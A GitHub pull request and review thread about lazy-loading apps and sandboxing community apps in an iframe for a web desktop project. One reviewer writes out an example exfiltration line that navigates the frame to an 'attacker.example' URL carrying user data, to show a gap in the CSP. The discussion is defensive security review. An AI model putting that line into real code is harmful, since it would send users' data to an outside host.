Skip to content

Load app windows on demand - #163

Open
ethical-buddy wants to merge 6 commits into
codehubbers:mainfrom
ethical-buddy:perf/lazy-load-app-windows
Open

ethical-buddy wants to merge 6 commits into
codehubbers:mainfrom
ethical-buddy:perf/lazy-load-app-windows

Conversation

@ethical-buddy

@ethical-buddy ethical-buddy commented Nov 30, 2026 •

Copy link
Copy Markdown
Member

Built-in app components now use static next/dynamic imports, so their code is loaded when the user opens a window. A small loading state appears in the window while its app chunk loads.

Installed community apps now render in a sandboxed iframe without same-origin access. The frame’s content policy blocks network requests, forms, and nested frames. Its React runtime is fetched by the OrbitOS page and embedded in the frame, so the app code cannot use the browser’s session storage or call OrbitOS APIs directly. I also removed the unused Function-based loader from PackageLoader.

I added tests for app identifiers, source size limits, and the sandbox document. Closes #109.

I could not run Jest or the production build locally because dependencies are not installed and the npm registry was unreachable. CI should cover both on this branch.

@Ziqian-Huang0607
Ziqian-Huang0607 requested a review from a team December 1, 2026 00:36

@Ziqian-Huang0607 Ziqian-Huang0607 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The direction here is right and overdue. The old PackageLoader "sandbox" was security theater: shadowing window and document inside a closure stops nothing, since globalThis is one identifier away. Replacing it with a srcDoc iframe running on an opaque origin (sandbox="allow-scripts" without allow-same-origin, referrerPolicy no-referrer, and a CSP that denies network, forms and nested frames) is a genuinely defensible boundary. The lazy loading of built-in apps with next/dynamic is a nice bonus on top.

Two things before I can approve:

  1. Format fails in CI. Run npx prettier --write on the changed files.

  2. The React runtime comes from jsdelivr at runtime. loadReactRuntime() fetches react and react-dom from a third-party CDN in the parent page's origin. That undercuts the point of the PR in two ways: a compromised or renamed CDN package executes with full access to the OrbitOS session (far worse than anything the sandboxed app could do), and community apps simply break offline or behind a firewall. React and react-dom already ship UMD builds in node_modules (react/umd/react.production.min.js). Serve those from /public or a tiny API route instead, so the runtime is the exact version we tested against and no third party is in the trust path.

Tests for the sandbox document and the validation are good. Once prettier is clean and the runtime is self-hosted, this is an approve.

@dailker dailker left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @ethical-buddy, welcome and thanks for taking this on! The next/dynamic change works well. I built it locally: first-load JS for / dropped from about 220 kB to 177 kB, and every app in src/system/apps still opens. Moving community apps into a sandboxed iframe is a real improvement over the old new Function loader.

I agree with both of Ziqian's points:

  • Format check: only src/lib/sandboxedApp.js is failing (the isValidAppCode return), so npx prettier --write src/lib/sandboxedApp.js should turn it green.
  • React runtime: please serve the React UMD files from our own build instead of jsdelivr. We're on 18.3.1, so the files are already in node_modules/react/umd and node_modules/react-dom/umd. A short comment that this needs revisiting if we move to React 19, which ships no UMD builds, would be nice.

One new thing: browsers ignore navigate-to (it was dropped from CSP), so an app can still do location.href = 'https://somewhere/?data=...' and navigate its own frame. That lets it send out what the user typed, or show a fake page inside the window. Could you watch the iframe's onLoad and close the frame if it loads a second time? At the very least, drop the directive so we don't think we're protected.

Also, since this is now a security change as well as #109, please mention the sandbox in the title or description.

Once those are in, I'm happy to approve. Nice work!

@md-abu-kayser md-abu-kayser left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@ethical-buddy,

Thanks for the work on this PR. The lazy-loading implementation using next/dynamic is a good performance improvement, and replacing the previous new Function()-based loader with an isolated sandboxed iframe is a meaningful security improvement.

I reviewed the changed files and agree with the concerns raised by the previous reviewers. I also want to highlight an important detail regarding the iframe navigation behavior.

1. Sandbox navigation and potential data exfiltration — Blocking

In src/lib/sandboxedApp.js, the generated CSP includes:

navigate-to 'none'

However, this directive is not reliably supported by browsers. Additionally, the current iframe configuration (sandbox="allow-scripts") does not prevent the iframe from navigating its own browsing context.

A malicious community app could potentially execute something like:

window.location.href = 'https://attacker.example/?data=' + encodeURIComponent(userData);

This would send an external navigation request despite the existing connect-src 'none' restriction.

One important consideration: detecting a second iframe onLoad event and closing the iframe afterward would not fully prevent this issue, because the external request may already have been sent before the parent detects the navigation.

Please address this limitation using an enforceable security boundary rather than relying on the unsupported CSP directive. The sandbox documentation and tests should also accurately reflect the protection being provided.

2. React runtime dependency

In src/lib/sandboxedApp.js, React and ReactDOM are fetched from jsDelivr at runtime.

Although the fetched source is subsequently executed inside the opaque-origin iframe rather than directly in the parent page, this still introduces an external runtime dependency. Community apps may fail to load when the CDN is unavailable or network access is restricted.

Since the project already uses React 18.3.1, I recommend serving the existing UMD builds from the project's own deployment. This would make the runtime more predictable and remove the unnecessary third-party dependency.

3. Formatting check

The current CI format check is still failing. Please run Prettier on the affected files and ensure the formatting check passes.

4. Additional test coverage

Please consider adding tests that cover the sandbox's navigation behavior and verify that the actual security restrictions match the intended isolation guarantees. The existing tests validate generated HTML and basic source validation, but they do not establish that external navigation is prevented.

The lazy-loading changes look good, and the overall direction is promising. However, the navigation issue is important because this PR introduces a security boundary for untrusted community applications.

Once the security concern, runtime dependency, and formatting failure are addressed, I would be happy to review the updated implementation again.

Thanks for your work on this!

@dailker

dailker commented Dec 1, 2026

Copy link
Copy Markdown
Member

+1 to @md-abu-kayser's point 1. navigate-to was dropped from CSP Level 3 and no browser ships it, so it does nothing today. And there's no sandbox flag that stops a frame from navigating itself, so we can't fully close that path.

What we can do is be honest about it and keep the data side small. The frame can only leak what the parent hands it, so:

  • drop navigate-to from the policy and from the docs/tests, so nobody thinks it's enforced;
  • say plainly in sandboxedApp.js that a community app can navigate its own frame away, and with it anything it was given;
  • keep the parent → app bridge to the minimum (no tokens, no user profile, no file contents unless the user picked that file for that app).

A test that asserts the bridge never sends auth/session data would pin that down better than a test for navigation we can't actually block.

@dailker dailker added performance Speed, bundle size, loading security Security hardening frontend UI / React / Next.js pages labels Dec 2, 2026
@dailker

dailker commented Dec 2, 2026

Copy link
Copy Markdown
Member

@anu-agent thanks, this is exactly the kind of write-up I was hoping for. The controls are the part that sells it: the probes catch the old new Function path, allow-same-origin, and a missing CSP. That proves the tests can actually fail.

Yes, please open it once #163 lands. A few things to keep it tidy:

  • Don't copy the sandbox config into the tests. Move the iframe sandbox/allow values out of Desktop.js into an exported constant in src/lib/sandboxedApp.js, and have both import it. Otherwise the tests can pass while the real frame drifts.
  • Path-filtered job, as you suggested (src/lib/sandboxedApp.js, Desktop.js, tests/e2e/**, plus the workflow file). Pin @playwright/test to an exact version and cache the browser download.
  • Keep the self-navigation probe as a known limitation. Have it assert today's behaviour and link the comment above, so it's obvious if a browser ever starts blocking it.
  • Add a short note in the README or CONTRIBUTING on running it locally (npx playwright install chromium && npm run test:e2e).
  • Put the proof in the PR body: the same probe output, plus one run against a deliberately weakened sandbox showing red.

React from node_modules/.../umd working is good to know. That can be its own follow-up.

@dailker

dailker commented Dec 3, 2026

Copy link
Copy Markdown
Member

@ethical-buddy heads-up: #168 and #170 landed and touched Desktop.js, so this was conflicting again. I merged main into your branch and pushed it (95f02e6). Please git pull before your next push.

The only conflict was the React import line. I kept both sides (useCallback from main, next/dynamic from you). Prettier, eslint and the full Jest run (419/419) all pass on the merge.

Your new Desktop.js code now sits next to the launcher and the desktop icon grid, so please double-check that lazy loading still covers apps opened from the launcher. It goes through the same OPEN_APP dispatch, so it should. The review points above are still open.

# Conflicts:
#	src/components/Desktop.js

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

frontend UI / React / Next.js pages performance Speed, bundle size, loading security Security hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

⚡ Performance: lazy-load apps with next/dynamic and reduce initial bundle

4 participants